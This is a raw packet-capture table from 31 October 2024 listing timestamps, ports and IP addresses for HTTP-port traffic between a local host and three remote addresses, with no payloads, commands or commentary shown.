Oct 31, 2024 03:03:34.913084984 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.913230896 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.913249969 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.913261890 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.913304090 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.913331032 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.913342953 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.913361073 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.913371086 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.913382053 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.913393974 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.913412094 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.913422108 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.913429022 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.913460970 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.993941069 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.993968010 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.993978977 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.993990898 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.994110107 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.994121075 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.994122028 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.994134903 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.994170904 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.994189024 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.994204044 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.994215012 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.994232893 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.994245052 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.994250059 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.994256973 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.994285107 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.994296074 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.994307995 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.994333029 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.994338989 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.994345903 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.994384050 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.994386911 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.994395971 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.994406939 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.994417906 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.994447947 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.994469881 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.994471073 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.994483948 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.994493961 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.994507074 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.994518042 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.994522095 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.994529009 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.994541883 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.994551897 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.994551897 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.994574070 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.994585991 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.994589090 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.994617939 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.994625092 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.994646072 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.994685888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.994699001 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.994745016 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.994755983 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.994766951 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.994776964 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.994788885 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.994802952 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.994834900 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.994868040 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.994887114 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.994898081 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.994915962 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.994925022 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.994929075 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.994940996 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.994949102 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.994952917 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.994968891 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.995007992 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.995011091 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.995023966 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.995040894 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.995052099 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.995068073 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.995076895 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.995079041 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.995090961 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.995101929 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.995116949 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.995147943 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.995163918 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.995176077 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.995184898 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.995203018 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.995214939 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.995215893 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.995234013 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.995254040 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.995264053 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.995279074 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.995321035 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.995354891 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.995368004 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.995378017 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.995402098 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.995404005 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.995417118 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.995426893 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.995462894 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.995495081 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.995507002 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.995513916 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.995527029 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.995538950 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.995549917 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.995553017 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.995582104 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.995593071 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.995593071 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.995640039 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.995670080 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.995682001 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.995695114 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.995704889 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.995717049 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.995723009 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.995742083 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.995783091 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.995807886 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.995820045 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.995831966 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.995867014 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.995892048 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.995903015 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.995920897 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.995932102 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.995940924 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.995943069 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.995954037 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.995965958 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.995978117 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.995979071 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.995990992 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.996010065 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.996036053 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.996037006 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.996125937 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.996138096 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.996149063 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.996160984 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 03:03:34.996174097 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.996198893 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:34.996782064 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:03:35.160897970 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:05.006232023 CET	63758	80	192.168.2.4	185.215.113.43
Oct 31, 2024 03:04:05.011043072 CET	80	63758	185.215.113.43	192.168.2.4
Oct 31, 2024 03:04:05.011137962 CET	63758	80	192.168.2.4	185.215.113.43
Oct 31, 2024 03:04:05.011348963 CET	63758	80	192.168.2.4	185.215.113.43
Oct 31, 2024 03:04:05.016094923 CET	80	63758	185.215.113.43	192.168.2.4
Oct 31, 2024 03:04:05.929569006 CET	80	63758	185.215.113.43	192.168.2.4
Oct 31, 2024 03:04:05.929635048 CET	63758	80	192.168.2.4	185.215.113.43
Oct 31, 2024 03:04:07.451281071 CET	63758	80	192.168.2.4	185.215.113.43
Oct 31, 2024 03:04:07.451798916 CET	63774	80	192.168.2.4	185.215.113.43
Oct 31, 2024 03:04:07.456547022 CET	80	63758	185.215.113.43	192.168.2.4
Oct 31, 2024 03:04:07.456600904 CET	63758	80	192.168.2.4	185.215.113.43
Oct 31, 2024 03:04:07.457725048 CET	80	63774	185.215.113.43	192.168.2.4
Oct 31, 2024 03:04:07.457807064 CET	63774	80	192.168.2.4	185.215.113.43
Oct 31, 2024 03:04:07.460854053 CET	63774	80	192.168.2.4	185.215.113.43
Oct 31, 2024 03:04:07.466362000 CET	80	63774	185.215.113.43	192.168.2.4
Oct 31, 2024 03:04:08.392858982 CET	80	63774	185.215.113.43	192.168.2.4
Oct 31, 2024 03:04:08.392945051 CET	63774	80	192.168.2.4	185.215.113.43
Oct 31, 2024 03:04:08.397447109 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:08.402436018 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:08.402698040 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:08.402698040 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:08.407768011 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.275439024 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.275460005 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.275474072 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.275485039 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.275558949 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.275568962 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.275573015 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.275594950 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.275629044 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.275629044 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.275665998 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.275726080 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.275737047 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.275747061 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.275784016 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.275816917 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.281704903 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.281722069 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.281734943 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.281799078 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.281858921 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.281871080 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.281922102 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.414371014 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.414433956 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.414447069 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.414446115 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.414458990 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.414494991 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.414522886 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.414701939 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.414757013 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.415049076 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.415178061 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.415230036 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.415230989 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.415251017 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.415266037 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.415275097 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.415280104 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.415299892 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.415343046 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.415826082 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.415894985 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.415934086 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.415987015 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.531146049 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.531243086 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.531254053 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.531264067 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.531380892 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.531380892 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.531380892 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.531447887 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.531496048 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.531496048 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.531536102 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.531548023 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.531548977 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.531586885 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.531616926 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.532083035 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.532094955 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.532113075 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.532130957 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.532160044 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.532479048 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.532541037 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.532568932 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.532581091 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.532591105 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.532618999 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.532650948 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.648487091 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.648500919 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.648519993 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.648530960 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.648541927 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.648570061 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.648649931 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.648905993 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.648960114 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.648971081 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.648983955 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.649019003 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.649051905 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.649111032 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.649122953 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.649158001 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.649188995 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.649666071 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.649677992 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.649688959 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.649717093 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.649734020 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.649765968 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.764796019 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.764870882 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.764874935 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.764882088 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.764894962 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.764913082 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.764949083 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.764949083 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.765068054 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.765079975 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.765089989 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.765136003 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.765136003 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.765429020 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.765477896 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.765486956 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.765500069 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.765511036 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.765539885 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.765539885 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.765573025 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.765949965 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.766002893 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.766012907 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.766057968 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.766129017 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.766166925 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.766179085 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.766191006 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.766200066 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.766200066 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.766235113 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.766235113 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.766661882 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.766726017 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.766793013 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.766851902 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.881867886 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.881885052 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.881903887 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.881915092 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.881927013 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.882011890 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.882064104 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.882071972 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.882076979 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.882096052 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.882107973 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.882131100 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.882157087 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.882342100 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.882354021 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.882368088 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.882390976 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.882424116 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.882664919 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.882678986 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.882688999 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.882716894 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.882750034 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.922547102 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.922570944 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.922583103 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.922610044 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.922647953 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.998383999 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.998486042 CET	80	63780	41.216.183.61	192.168.2.4
